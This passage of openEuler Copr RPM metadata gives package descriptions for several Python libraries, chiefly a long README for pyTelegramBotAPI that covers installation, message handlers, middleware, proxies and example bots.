rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a161be99-8d73-4072-8b3d-0ec318cd68b1
location_href: 00011453-python-pyprivnote/python-pyPrivnote-0.0.1a1-1.src.rpm
checksum_type: sha256
description:
  A Python Interface to Privnote service




  Privnote allows you to create one-time-pad encrypted, burn-after-reading notes over the internet. It's a great way to share passwords or other sensitive peices of information.



  ```shell
  pip install pyPrivnote
  ```



  Functions **create_note** and **read_note** thats all you need to use full functionality of Privnote



  ```python
  import pyPrivnote as pn

  note_link = pn.create_note("Private message")

  ```



  ```python
  note_text = pn.read_note(note_link)

  ```



  ```python
  import pyPrivnote as pn

  note_link = pn.create_note("Super secret message", manual_pass="12345")


  note_text = pn.read_note(note_link, password="12345")

  ```


  **Manual password** <br>
  **E-mail notification** with _reference name_ <br>
  Note **self-destructs** after reading or _expire lifetime_ <br>
  **Asking confirmation** before reading _(only for web reading)_

  ```python
  import pyPrivnote as pn

  note_link = pn.create_note(
                  "Super secret message",
                  manual_pass="12345",
                  duration_hours=5,
                  ask_confirm=False,
                  notify_email="address@domain.com",
                  email_ref_name="Note sent to Bob"
                  )
  ```



  v0.0.1 - First release


pkgId: 3fda5bb45c7fc71ae38a64afdba201af64176f4d32a0bcc94b144c8b83b3ca28
name: python-pyRFC3339
arch: src
version: 1.1
epoch: 0
release: 1
summary: Generate and parse RFC 3339 timestamps
url: https://github.com/kurtraschke/pyRFC3339
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-3e19f708-267c-4965-9b12-6fab2995d7e5
location_href: 00004784-python-pyrfc3339/python-pyRFC3339-1.1-1.src.rpm
checksum_type: sha256
description:
  pyRFC3339 parses and generates :RFC:`3339`-compliant timestamps using `Python <https://www.python.org/>`_ `datetime.datetime <https://docs.python.org/2/library/datetime.html#datetime-objects>`_ objects.
  >>> from pyrfc3339 import generate, parse
  >>> from datetime import datetime
  >>> import pytz
  >>> generate(datetime.utcnow().replace(tzinfo=pytz.utc)) #doctest:+ELLIPSIS
  '...T...Z'
  >>> parse('2009-01-01T10:01:02Z')
  datetime.datetime(2009, 1, 1, 10, 1, 2, tzinfo=<UTC>)
  >>> parse('2009-01-01T14:01:02-04:00')
  datetime.datetime(2009, 1, 1, 14, 1, 2, tzinfo=<UTC-04:00>)


pkgId: 99c41522528ba1574a8a327c0a495ffcf1c6b69aa4cf09c30ec466b911fbadde
name: python-pySmartDL
arch: src
version: 1.3.4
epoch: 0
release: 1
summary: A Smart Download Manager for Python
url: http://pypi.python.org/pypi/pySmartDL/
rpm_license: Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a46e411a-be2e-4182-b632-46d2ef2b8a78
location_href: 00011680-python-pysmartdl/python-pySmartDL-1.3.4-1.src.rpm
checksum_type: sha256
description:
  ``pySmartDL`` strives to be a full-fledged smart download manager for Python. Main features:
  * Built-in download acceleration (with the `multipart downloading technique <http://stackoverflow.com/questions/93642/how-do-download-accelerators-work>`_).
  * Mirrors support.
  * Pause/Unpause feature.
  * Speed limiting feature.
  * Hash checking.
  * Non-blocking, shows progress bar, download speed and eta.
  * Full support for custom headers and methods.
  * Python 3 Support


pkgId: 66199b3694547cf045be5bf43461a8b35e49c8611de1501349a9f99ad4ab3d16
name: python-pyTelegramBotAPI
arch: src
version: 4.10.0
epoch: 0
release: 1
summary: Python Telegram bot api.
url: https://github.com/eternnoir/pyTelegramBotAPI
rpm_license: GPL2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-3185d19b-928a-4732-b5fd-6f5e4b0f0e1e
location_href: 00004823-python-pytelegrambotapi/python-pyTelegramBotAPI-4.10.0-1.src.rpm
checksum_type: sha256
description:
  [![PyPi Package Version](https://img.shields.io/pypi/v/pyTelegramBotAPI.svg)](https://pypi.python.org/pypi/pyTelegramBotAPI)
  [![Supported Python versions](https://img.shields.io/pypi/pyversions/pyTelegramBotAPI.svg)](https://pypi.python.org/pypi/pyTelegramBotAPI)
  [![Documentation Status](https://readthedocs.org/projects/pytba/badge/?version=latest)](https://pytba.readthedocs.io/en/latest/?badge=latest)
  [![Build Status](https://travis-ci.org/eternnoir/pyTelegramBotAPI.svg?branch=master)](https://travis-ci.org/eternnoir/pyTelegramBotAPI)
  [![PyPi downloads](https://img.shields.io/pypi/dm/pyTelegramBotAPI.svg)](https://pypi.org/project/pyTelegramBotAPI/)
  [![PyPi status](https://img.shields.io/pypi/status/pytelegrambotapi.svg?style=flat-square)](https://pypi.python.org/pypi/pytelegrambotapi)



  <p align="center">A simple, but extensible Python implementation for the <a href="https://core.telegram.org/bots/api">Telegram Bot API</a>.</p>
  <p align="center">Both synchronous and asynchronous.</p>



  <h2><a href='https://pytba.readthedocs.io/en/latest/index.html'>Official documentation</a></h2>
  <h2><a href='https://pytba.readthedocs.io/ru/latest/index.html'>Official ru documentation</a></h2>



    * [Getting started](#getting-started)
    * [Writing your first bot](#writing-your-first-bot)
      * [Prerequisites](#prerequisites)
      * [A simple echo bot](#a-simple-echo-bot)
    * [General API Documentation](#general-api-documentation)
      * [Types](#types)
      * [Methods](#methods)
      * [General use of the API](#general-use-of-the-api)
        * [Message handlers](#message-handlers)
        * [Edited Message handler](#edited-message-handler)
        * [Channel Post handler](#channel-post-handler)
        * [Edited Channel Post handler](#edited-channel-post-handler)
        * [Callback Query handlers](#callback-query-handler)
        * [Shipping Query Handler](#shipping-query-handler)
        * [Pre Checkout Query Handler](#pre-checkout-query-handler)
        * [Poll Handler](#poll-handler)
        * [Poll Answer Handler](#poll-answer-handler)
        * [My Chat Member Handler](#my-chat-member-handler)
        * [Chat Member Handler](#chat-member-handler)
        * [Chat Join request handler](#chat-join-request-handler)
      * [Inline Mode](#inline-mode)
        * [Inline handler](#inline-handler)
        * [Chosen Inline handler](#chosen-inline-handler)
        * [Answer Inline Query](#answer-inline-query)
      * [Additional API features](#additional-api-features)
        * [Middleware handlers](#middleware-handlers)
        * [Custom filters](#custom-filters)
        * [TeleBot](#telebot)
        * [Reply markup](#reply-markup)
    * [Advanced use of the API](#advanced-use-of-the-api)
      * [Using local Bot API Server](#using-local-bot-api-sever)
      * [Asynchronous TeleBot](#asynchronous-telebot)
      * [Sending large text messages](#sending-large-text-messages)
      * [Controlling the amount of Threads used by TeleBot](#controlling-the-amount-of-threads-used-by-telebot)
      * [The listener mechanism](#the-listener-mechanism)
      * [Using web hooks](#using-web-hooks)
      * [Logging](#logging)
      * [Proxy](#proxy)
      * [Testing](#testing)
    * [API conformance limitations](#api-conformance-limitations)
    * [AsyncTeleBot](#asynctelebot)
    * [F.A.Q.](#faq)
      * [How can I distinguish a User and a GroupChat in message.chat?](#how-can-i-distinguish-a-user-and-a-groupchat-in-messagechat)
      * [How can I handle reocurring ConnectionResetErrors?](#how-can-i-handle-reocurring-connectionreseterrors)
    * [The Telegram Chat Group](#the-telegram-chat-group)
    * [Telegram Channel](#telegram-channel)
    * [More examples](#more-examples)
    * [Code Template](#code-template)
    * [Bots using this library](#bots-using-this-library)



  This API is tested with Python 3.7-3.11 and Pypy 3.
  There are two ways to install the library:

  * Installation using pip (a Python package manager):

  ```
  $ pip install pyTelegramBotAPI
  ```
  * Installation from source (requires git):

  ```
  $ git clone https://github.com/eternnoir/pyTelegramBotAPI.git
  $ cd pyTelegramBotAPI
  $ python setup.py install
  ```
  or:
  ```
  $ pip install git+https://github.com/eternnoir/pyTelegramBotAPI.git
  ```

  It is generally recommended to use the first option.

  *While the API is production-ready, it is still under development and it has regular updates, do not forget to update it regularly by calling*
  ```
  pip install pytelegrambotapi --upgrade
  ```





  It is presumed that you [have obtained an API token with @BotFather](https://core.telegram.org/bots#botfather). We will call this token `TOKEN`.
  Furthermore, you have basic knowledge of the Python programming language and more importantly [the Telegram Bot API](https://core.telegram.org/bots/api).



  The TeleBot class (defined in \__init__.py) encapsulates all API calls in a single class. It provides functions such as `send_xyz` (`send_message`, `send_document` etc.) and several ways to listen for incoming messages.

  Create a file called `echo_bot.py`.
  Then, open the file and create an instance of the TeleBot class.
  ```python
  import telebot

  bot = telebot.TeleBot("TOKEN", parse_mode=None) # You can set parse_mode by default. HTML or MARKDOWN
  ```
  *Note: Make sure to actually replace TOKEN with your own API token.*

  After that declaration, we need to register some so-called message handlers. Message handlers define filters which a message must pass. If a message passes the filter, the decorated function is called and the incoming message is passed as an argument.

  Let's define a message handler which handles incoming `/start` and `/help` commands.
  ```python
  @bot.message_handler(commands=['start', 'help'])
  def send_welcome(message):
  	bot.reply_to(message, "Howdy, how are you doing?")
  ```
  A function which is decorated by a message handler __can have an arbitrary name, however, it must have only one parameter (the message)__.

  Let's add another handler:
  ```python
  @bot.message_handler(func=lambda m: True)
  def echo_all(message):
  	bot.reply_to(message, message.text)
  ```
  This one echoes all incoming text messages back to the sender. It uses a lambda function to test a message. If the lambda returns True, the message is handled by the decorated function. Since we want all messages to be handled by this function, we simply always return True.

  *Note: all handlers are tested in the order in which they were declared*

  We now have a basic bot which replies a static message to "/start" and "/help" commands and which echoes the rest of the sent messages. To start the bot, add the following to our source file:
  ```python
  bot.infinity_polling()
  ```
  Alright, that's it! Our source file now looks like this:
  ```python
  import telebot

  bot = telebot.TeleBot("YOUR_BOT_TOKEN")

  @bot.message_handler(commands=['start', 'help'])
  def send_welcome(message):
  	bot.reply_to(message, "Howdy, how are you doing?")

  @bot.message_handler(func=lambda message: True)
  def echo_all(message):
  	bot.reply_to(message, message.text)

  bot.infinity_polling()
  ```
  To start the bot, simply open up a terminal and enter `python echo_bot.py` to run the bot! Test it by sending commands ('/start' and '/help') and arbitrary text messages.





  All types are defined in types.py. They are all completely in line with the [Telegram API's definition of the types](https://core.telegram.org/bots/api#available-types), except for the Message's `from` field, which is renamed to `from_user` (because `from` is a Python reserved token). Thus, attributes such as `message_id` can be accessed directly with `message.message_id`. Note that `message.chat` can be either an instance of `User` or `GroupChat` (see [How can I distinguish a User and a GroupChat in message.chat?](#how-can-i-distinguish-a-user-and-a-groupchat-in-messagechat)).

  The Message object also has a `content_type`attribute, which defines the type of the Message. `content_type` can be one of the following strings:
  `text`, `audio`, `document`, `photo`, `sticker`, `video`, `video_note`, `voice`, `location`, `contact`, `new_chat_members`, `left_chat_member`, `new_chat_title`, `new_chat_photo`, `delete_chat_photo`, `group_chat_created`, `supergroup_chat_created`, `channel_chat_created`, `migrate_to_chat_id`, `migrate_from_chat_id`, `pinned_message`, `web_app_data`.

  You can use some types in one function. Example:

  ```content_types=["text", "sticker", "pinned_message", "photo", "audio"]```



  All [API methods](https://core.telegram.org/bots/api#available-methods) are located in the TeleBot class. They are renamed to follow common Python naming conventions. E.g. `getMe` is renamed to `get_me` and `sendMessage` to `send_message`.



  Outlined below are some general use cases of the API.


  A message handler is a function that is decorated with the `message_handler` decorator of a TeleBot instance. Message handlers consist of one or multiple filters.
  Each filter must return True for a certain message in order for a message handler to become eligible to handle that message. A message handler is declared in the following way (provided `bot` is an instance of TeleBot):
  ```python
  @bot.message_handler(filters)
  def function_name(message):
  	bot.reply_to(message, "This is a message handler")
  ```
  `function_name` is not bound to any restrictions. Any function name is permitted with message handlers. The function must accept at most one argument, which will be the message that the function must handle.
  `filters` is a list of keyword arguments.
  A filter is declared in the following manner: `name=argument`. One handler may have multiple filters.
  TeleBot supports the following filters:

  |name|argument(s)|Condition|
  |:---:|---| ---|
  |content_types|list of strings (default `['text']`)|`True` if message.content_type is in the list of strings.|
  |regexp|a regular expression as a string|`True` if `re.search(regexp_arg)` returns `True` and `message.content_type == 'text'` (See [Python Regular Expressions](https://docs.python.org/2/library/re.html))|
  |commands|list of strings|`True` if `message.content_type == 'text'` and `message.text` starts with a command that is in the list of strings.|
  |chat_types|list of chat types|`True` if `message.chat.type` in your filter|
  |func|a function (lambda or function reference)|`True` if the lambda or function reference returns `True`|

  Here are some examples of using the filters and message handlers:

  ```python
  import telebot
  bot = telebot.TeleBot("TOKEN")


  @bot.message_handler(commands=['start', 'help'])
  def handle_start_help(message):
  	pass


  @bot.message_handler(content_types=['document', 'audio'])
  def handle_docs_audio(message):
  	pass


  @bot.message_handler(regexp="SOME_REGEXP")
  def handle_message(message):
  	pass


  @bot.message_handler(func=lambda message: message.document.mime_type == 'text/plain', content_types=['document'])
  def handle_text_doc(message):
  	pass


  def test_message(message):
  	return message.document.mime_type == 'text/plain'

  @bot.message_handler(func=test_message, content_types=['document'])
  def handle_text_doc(message):
  	pass



  @bot.message_handler(commands=['hello'])
  @bot.message_handler(func=lambda msg: msg.text.encode("utf-8") == SOME_FANCY_EMOJI)
  def send_something(message):
      pass
  ```
  **Important: all handlers are tested in the order in which they were declared**


  Handle edited messages
  `@bot.edited_message_handler(filters) # <- passes a Message type object to your function`


  Handle channel post messages
  `@bot.channel_post_handler(filters) # <- passes a Message type object to your function`


  Handle edited channel post messages
  `@bot.edited_channel_post_handler(filters) # <- passes a Message type object to your function`


  Handle callback queries
  ```python
  @bot.callback_query_handler(func=lambda call: True)
  def test_callback(call): # <- passes a CallbackQuery type object to your function
      logger.info(call)
  ```


  Handle shipping queries
  `@bot.shipping_query_handler() # <- passes a ShippingQuery type object to your function`


  Handle pre checkoupt queries
  `@bot.pre_checkout_query_handler() # <- passes a PreCheckoutQuery type object to your function`


  Handle poll updates
  `@bot.poll_handler() # <- passes a Poll type object to your function`


  Handle poll answers
  `@bot.poll_answer_handler() # <- passes a PollAnswer type object to your function`


  Handle updates of a the bot's member status in a chat
  `@bot.my_chat_member_handler() # <- passes a ChatMemberUpdated type object to your function`


  Handle updates of a chat member's status in a chat
  `@bot.chat_member_handler() # <- passes a ChatMemberUpdated type object to your function`
  *Note: "chat_member" updates are not requested by default. If you want to allow all update types, set `allowed_updates` in `bot.polling()` / `bot.infinity_polling()` to `util.update_types`*


  Handle chat join requests using:
  `@bot.chat_join_request_handler() # <- passes ChatInviteLink type object to your function`



  More information about [Inline mode](https://core.telegram.org/bots/inline).



  Now, you can use inline_handler to get inline queries in telebot.

  ```python

  @bot.inline_handler(lambda query: query.query == 'text')
  def query_text(inline_query):
      
  ```



  Use chosen_inline_handler to get chosen_inline_result in telebot. Don't forgot add the /setinlinefeedback
  command for @Botfather.

  More information : [collecting-feedback](https://core.telegram.org/bots/inline#collecting-feedback)

  ```python
  @bot.chosen_inline_handler(func=lambda chosen_inline_result: True)
  def test_chosen(chosen_inline_result):
      
  ```



  ```python
  @bot.inline_handler(lambda query: query.query == 'text')
  def query_text(inline_query):
      try:
          r = types.InlineQueryResultArticle('1', 'Result', types.InputTextMessageContent('Result message.'))
          r2 = types.InlineQueryResultArticle('2', 'Result2', types.InputTextMessageContent('Result message2.'))
          bot.answer_inline_query(inline_query.id, [r, r2])
      except Exception as e:
          print(e)

  ```





  A middleware handler is a function that allows you to modify requests or the bot context as they pass through the
  Telegram to the bot. You can imagine middleware as a chain of logic connection handled before any other handlers are
  executed. Middleware processing is disabled by default, enable it by setting `apihelper.ENABLE_MIDDLEWARE = True`.

  ```python
  apihelper.ENABLE_MIDDLEWARE = True

  @bot.middleware_handler(update_types=['message'])
  def modify_message(bot_instance, message):
      
      message.another_text = message.text + ':changed'

  @bot.message_handler(commands=['start'])
  def start(message):
      
      assert message.another_text == message.text + ':changed'
  ```
  There are other examples using middleware handler in the [examples/middleware](examples/middleware) directory.


  There are class-based middlewares.
  Basic class-based middleware looks like this:
  ```python
  class Middleware(BaseMiddleware):
      def __init__(self):
          self.update_types = ['message']
      def pre_process(self, message, data):
          data['foo'] = 'Hello' # just for example
          
          
          
      def post_process(self, message, data, exception=None):
          print(data['foo'])
          if exception: # check for exception
              print(exception)
  ```
  Class-based middleware should have to functions: post and pre process.
  So, as you can see, class-based middlewares work before and after handler execution.
  For more, check out in [examples](https://github.com/eternnoir/pyTelegramBotAPI/tree/master/examples/middleware/class_based)


  Also, you can use built-in custom filters. Or, you can create your own filter.

  [Example of custom filter](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/custom_filters/general_custom_filters.py)

  Also, we have examples on them. Check this links:

  You can check some built-in filters in source [code](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/telebot/custom_filters.py)

  Example of [filtering by id](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/custom_filters/id_filter_example.py)

  Example of [filtering by text](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/custom_filters/text_filter_example.py)

  If you want to add some built-in filter, you are welcome to add it in custom_filters.py file.

  Here is example of creating filter-class:

  ```python
  class IsAdmin(telebot.custom_filters.SimpleCustomFilter):
      
      key='is_chat_admin'
      @staticmethod
      def check(message: telebot.types.Message):
          return bot.get_chat_member(message.chat.id,message.from_user.id).status in ['administrator','creator']


  bot.add_custom_filter(IsAdmin())


  @bot.message_handler(is_chat_admin=True)
  def admin_of_group(message):
  	bot.send_message(message.chat.id, 'You are admin of this group!')

  ```



  ```python
  import telebot

  TOKEN = '<token_string>'
  tb = telebot.TeleBot(TOKEN)	#create a new Telegram Bot object





  tb.infinity_polling(interval=0, timeout=20)


  user = tb.get_me()


  tb.set_webhook(url="http://example.com", certificate=open('mycert.pem'))

  tb.remove_webhook()


  updates = tb.get_updates()

  updates = tb.get_updates(1234,100,20) #get_Updates(offset, limit, timeout):


  tb.send_message(chat_id, text)


  tb.edit_message_text(new_text, chat_id, message_id)


  tb.forward_message(to_chat_id, from_chat_id, message_id)



  photo = open('/tmp/photo.png', 'rb')
  tb.send_photo(chat_id, photo)
  tb.send_photo(chat_id, "FILEID")


  audio = open('/tmp/audio.mp3', 'rb')
  tb.send_audio(chat_id, audio)
  tb.send_audio(chat_id, "FILEID")


  tb.send_audio(CHAT_ID, file_data, 1, 'eternnoir', 'pyTelegram')


  voice = open('/tmp/voice.ogg', 'rb')
  tb.send_voice(chat_id, voice)
  tb.send_voice(chat_id, "FILEID")


  doc = open('/tmp/file.txt', 'rb')
  tb.send_document(chat_id, doc)
  tb.send_document(chat_id, "FILEID")


  sti = open('/tmp/sti.webp', 'rb')
  tb.send_sticker(chat_id, sti)
  tb.send_sticker(chat_id, "FILEID")


  video = open('/tmp/video.mp4', 'rb')
  tb.send_video(chat_id, video)
  tb.send_video(chat_id, "FILEID")


  videonote = open('/tmp/videonote.mp4', 'rb')
  tb.send_video_note(chat_id, videonote)
  tb.send_video_note(chat_id, "FILEID")


  tb.send_location(chat_id, lat, lon)




  tb.send_chat_action(chat_id, action_string)




  import requests
  file_info = tb.get_file(file_id)

  file = requests.get('https://api.telegram.org/file/bot{0}/{1}'.format(API_TOKEN, file_info.file_path))


  ```

  All `send_xyz` functions of TeleBot take an optional `reply_markup` argument. This argument must be an instance of `ReplyKeyboardMarkup`, `ReplyKeyboardRemove` or `ForceReply`, which are defined in types.py.

  ```python
  from telebot import types









  markup = types.ReplyKeyboardMarkup(row_width=2)
  itembtn1 = types.KeyboardButton('a')
  itembtn2 = types.KeyboardButton('v')
  itembtn3 = types.KeyboardButton('d')
  markup.add(itembtn1, itembtn2, itembtn3)
  tb.send_message(chat_id, "Choose one letter:", reply_markup=markup)


  markup = types.ReplyKeyboardMarkup()
  itembtna = types.KeyboardButton('a')
  itembtnv = types.KeyboardButton('v')
  itembtnc = types.KeyboardButton('c')
  itembtnd = types.KeyboardButton('d')
  itembtne = types.KeyboardButton('e')
  markup.row(itembtna, itembtnv)
  markup.row(itembtnc, itembtnd, itembtne)
  tb.send_message(chat_id, "Choose one letter:", reply_markup=markup)
  ```
  The last example yields this result:

  ![ReplyKeyboardMarkup](https://farm3.staticflickr.com/2933/32418726704_9ef76093cf_o_d.jpg "ReplyKeyboardMarkup")

  ```python


  markup = types.ReplyKeyboardRemove(selective=False)
  tb.send_message(chat_id, message, reply_markup=markup)
  ```

  ```python


  markup = types.ForceReply(selective=False)
  tb.send_message(chat_id, "Send me another word:", reply_markup=markup)
  ```
  ForceReply:

  ![ForceReply](https://farm4.staticflickr.com/3809/32418726814_d1baec0fc2_o_d.jpg "ForceReply")



  This object represents one special entity in a text message. For example, hashtags, usernames, URLs, etc.
  Attributes:
  * `type`
  * `url`
  * `offset`
  * `length`
  * `user`


  **Here's an Example:**`message.entities[num].<attribute>`<br>
  Here `num` is the entity number or order of entity in a reply, for if incase there are multiple entities in the reply/message.<br>
  `message.entities` returns a list of entities object. <br>
  `message.entities[0].type` would give the type of the first entity<br>
  Refer [Bot Api](https://core.telegram.org/bots/api#messageentity) for extra details




  Since version 5.0 of the Bot API, you have the possibility to run your own [Local Bot API Server](https://core.telegram.org/bots/api#using-a-local-bot-api-server).
  pyTelegramBotAPI also supports this feature.
  ```python
  from telebot import apihelper

  apihelper.API_URL = "http://localhost:4200/bot{0}/{1}"
  ```
  **Important: Like described [here](https://core.telegram.org/bots/api#logout), you have to log out your bot from the Telegram server before switching to your local API server. in pyTelegramBotAPI use `bot.log_out()`**

  *Note: 4200 is an example port*


  New: There is an asynchronous implementation of telebot.
  To enable this behaviour, create an instance of AsyncTeleBot instead of TeleBot.
  ```python
  tb = telebot.AsyncTeleBot("TOKEN")
  ```
  Now, every function that calls the Telegram API is executed in a separate asynchronous task.
  Using AsyncTeleBot allows you to do the following:
  ```python
  import telebot

  tb = telebot.AsyncTeleBot("TOKEN")

  @tb.message_handler(commands=['start'])
  async def start_message(message):
  	await bot.send_message(message.chat.id, 'Hello!')

  ```

  See more in [examples](https://github.com/eternnoir/pyTelegramBotAPI/tree/master/examples/asynchronous_telebot)


  Sometimes you must send messages that exceed 5000 characters. The Telegram API can not handle that many characters in one request, so we need to split the message in multiples. Here is how to do that using the API:
  ```python
  from telebot import util
  large_text = open("large_text.txt", "rb").read()



  splitted_text = util.split_string(large_text, 3000)

  for text in splitted_text:
  	tb.send_message(chat_id, text)
  ```

  Or you can use the new `smart_split` function to get more meaningful substrings:
  ```python
  from telebot import util
  large_text = open("large_text.txt", "rb").read()



  splitted_text = util.smart_split(large_text, chars_per_string=3000)
  for text in splitted_text:
  	tb.send_message(chat_id, text)
  ```

  The TeleBot constructor takes the following optional arguments:

   - threaded: True/False (default True). A flag to indicate whether
     TeleBot should execute message handlers on it's polling Thread.


  As an alternative to the message handlers, one can also register a function as a listener to TeleBot.

  NOTICE: handlers won't disappear! Your message will be processed both by handlers and listeners. Also, it's impossible to predict which will work at first because of threading. If you use threaded=False, custom listeners will work earlier, after them handlers will be called.
  Example:
  ```python
  def handle_messages(messages):
  	for message in messages:
  		
  		bot.reply_to(message, 'Hi')

  bot.set_update_listener(handle_messages)
  bot.infinity_polling()
  ```


  When using webhooks telegram sends one Update per call, for processing it you should call process_new_messages([update.message]) when you recieve it.

  There are some examples using webhooks in the [examples/webhook_examples](examples/webhook_examples) directory.


  You can use the Telebot module logger to log debug info about Telebot. Use `telebot.logger` to get the logger of the TeleBot module.
  It is possible to add custom logging Handlers to the logger. Refer to the [Python logging module page](https://docs.python.org/2/library/logging.html) for more info.

  ```python
  import logging

  logger = telebot.logger
  telebot.logger.setLevel(logging.DEBUG) # Outputs debug messages to console.
  ```


  For sync:

  You can use proxy for request. `apihelper.proxy` object will use by call `requests` proxies argument.

  ```python
  from telebot import apihelper

  apihelper.proxy = {'http':'http://127.0.0.1:3128'}
  ```

  If you want to use socket5 proxy you need install dependency `pip install requests[socks]` and make sure, that you have the latest version of `gunicorn`, `PySocks`, `pyTelegramBotAPI`, `requests` and `urllib3`.

  ```python
  apihelper.proxy = {'https':'socks5://userproxy:password@proxy_address:port'}
  ```

  For async:
  ```python
  from telebot import asyncio_helper

  asyncio_helper.proxy = 'http://127.0.0.1:3128' #url
  ```



  You can disable or change the interaction with real Telegram server by using
  ```python
  apihelper.CUSTOM_REQUEST_SENDER = your_handler
  ```
  parameter. You can pass there your own function that will be called instead of _requests.request_.

  For example:
  ```python
  def custom_sender(method, url, **kwargs):
      print("custom_sender. method: {}, url: {}, params: {}".format(method, url, kwargs.get("params")))
      result = util.CustomRequestResponse('{"ok":true,"result":{"message_id": 1, "date": 1, "chat": {"id": 1, "type": "private"}}}')
      return result
  ```

  Then you can use API and proceed requests in your handler code.
  ```python
  apihelper.CUSTOM_REQUEST_SENDER = custom_sender
  tb = TeleBot("test")
  res = tb.send_message(123, "Test")
  ```

  Result will be:

  `custom_sender. method: post, url: https://api.telegram.org/botololo/sendMessage, params: {'chat_id': '123', 'text': 'Test'}`




  * ➕ [Bot API 4.5](https://core.telegram.org/bots/api-changelog#december-31-2019) - No nested MessageEntities and Markdown2 support
  * ➕ [Bot API 4.1](https://core.telegram.org/bots/api-changelog#august-27-2018)   - No Passport support
  * ➕ [Bot API 4.0](https://core.telegram.org/bots/api-changelog#july-26-2018)     - No Passport support




  We have a fully asynchronous version of TeleBot.
  This class is not controlled by threads. Asyncio tasks are created to execute all the stuff.


  Echo Bot example on AsyncTeleBot:

  ```python



  from telebot.async_telebot import AsyncTeleBot
  import asyncio
  bot = AsyncTeleBot('TOKEN')




  @bot.message_handler(commands=['help', 'start'])
  async def send_welcome(message):
      await bot.reply_to(message, """\
  Hi there, I am EchoBot.
  I am here to echo your kind words back to you. Just say anything nice and I'll say the exact same thing to you!\
  """)



  @bot.message_handler(func=lambda message: True)
  async def echo_message(message):
      await bot.reply_to(message, message.text)


  asyncio.run(bot.polling())
  ```
  As you can see here, keywords are await and async.


  Asynchronous tasks depend on processor performance. Many asynchronous tasks can run parallelly, while thread tasks will block each other.


  AsyncTeleBot is asynchronous. It uses aiohttp instead of requests module.


  See more examples in our [examples](https://github.com/eternnoir/pyTelegramBotAPI/tree/master/examples/asynchronous_telebot) folder





  Telegram Bot API support new type Chat for message.chat.

  - Check the ```type``` attribute in ```Chat``` object:
  ```python
  if message.chat.type == "private":
      

  if message.chat.type == "group":
  	

  if message.chat.type == "supergroup":
  	

  if message.chat.type == "channel":
  	

  ```



  Bot instances that were idle for a long time might be rejected by the server when sending a message due to a timeout of the last used session. Add `apihelper.SESSION_TIME_TO_LIVE = 5 * 60` to your initialisation to force recreation after 5 minutes without any activity.



  Get help. Discuss. Chat.

  * Join the [pyTelegramBotAPI Telegram Chat Group](https://telegram.me/joinchat/Bn4ixj84FIZVkwhk2jag6A)



  Join the [News channel](https://t.me/pyTelegramBotAPI). Here we will post releases and updates.



  * [Echo Bot](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/echo_bot.py)
  * [Deep Linking](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/deep_linking.py)
  * [next_step_handler Example](https://github.com/eternnoir/pyTelegramBotAPI/blob/master/examples/step_example.py)


  Template is a ready folder that contains architecture of basic project.
  Here are some examples of template:

  * [AsyncTeleBot template](https://github.com/coder2020official/asynctelebot_template)
  * [TeleBot template](https://github.com/coder2020official/telebot_template)



  * [SiteAlert bot](https://telegram.me/SiteAlert_bot) ([source](https://github.com/ilteoood/SiteAlert-Python)) by *ilteoood* - Monitors websites and sends a notification on changes
  * [TelegramLoggingBot](https://github.com/aRandomStranger/TelegramLoggingBot) by *aRandomStranger*
  * [Telegram LMGTFY_bot](https://github.com/GabrielRF/telegram-lmgtfy_bot) by *GabrielRF* - Let me Google that for you.
  * [Telegram Proxy Bot](https://github.com/mrgigabyte/proxybot) by *mrgigabyte*
  * [RadRetroRobot](https://github.com/Tronikart/RadRetroRobot) by *Tronikart* - Multifunctional Telegram Bot RadRetroRobot.
  * [League of Legends bot](https://telegram.me/League_of_Legends_bot) ([source](https://github.com/i32ropie/lol)) by *i32ropie*
  * [NeoBot](https://github.com/neoranger/NeoBot) by [@NeoRanger](https://github.com/neoranger)
  * [ColorCodeBot](https://t.me/colorcodebot) ([source](https://github.com/andydecleyre/colorcodebot)) - Share code snippets as beautifully syntax-highlighted HTML and/or images.
  * [ComedoresUGRbot](http://telegram.me/ComedoresUGRbot) ([source](https://github.com/alejandrocq/ComedoresUGRbot)) by [*alejandrocq*](https://github.com/alejandrocq) - Telegram bot to check the menu of Universidad de Granada dining hall.
  * [proxybot](https://github.com/p-hash/proxybot) - Simple Proxy Bot for Telegram. by p-hash
  * [DonantesMalagaBot](https://github.com/vfranch/DonantesMalagaBot) - DonantesMalagaBot facilitates information to Malaga blood donors about the places where they can donate today or in the incoming days. It also records the date of the last donation so that it helps the donors to know when they can donate again. - by vfranch
  * [DuttyBot](https://github.com/DmytryiStriletskyi/DuttyBot) by *Dmytryi Striletskyi* - Timetable for one university in Kiev.
  * [wat-bridge](https://github.com/rmed/wat-bridge) by [*rmed*](https://github.com/rmed) - Send and receive messages to/from WhatsApp through Telegram
  * [filmratingbot](http://t.me/filmratingbot)([source](https://github.com/jcolladosp/film-rating-bot)) by [*jcolladosp*](https://github.com/jcolladosp) - Telegram bot using the Python API that gets films rating from IMDb and metacritic
  * [Send2Kindlebot](http://t.me/Send2KindleBot) ([source](https://github.com/GabrielRF/Send2KindleBot)) by *GabrielRF* - Send to Kindle service.
  * [RastreioBot](http://t.me/RastreioBot) ([source](https://github.com/GabrielRF/RastreioBot)) by *GabrielRF* - Bot used to track packages on the Brazilian Mail Service.
  * [Spbu4UBot](http://t.me/Spbu4UBot)([link](https://github.com/EeOneDown/spbu4u)) by *EeOneDown* - Bot with timetables for SPbU students.
  * [SmartySBot](http://t.me/ZDU_bot)([link](https://github.com/0xVK/SmartySBot)) by *0xVK* - Telegram timetable bot, for Zhytomyr Ivan Franko State University students.
  * [LearnIt](https://t.me/LearnItbot)([link](https://github.com/tiagonapoli/LearnIt)) - A Telegram Bot created to help people to memorize other languages’ vocabulary.
  * [Bot-Telegram-Shodan ](https://github.com/rubenleon/Bot-Telegram-Shodan) by [rubenleon](https://github.com/rubenleon)
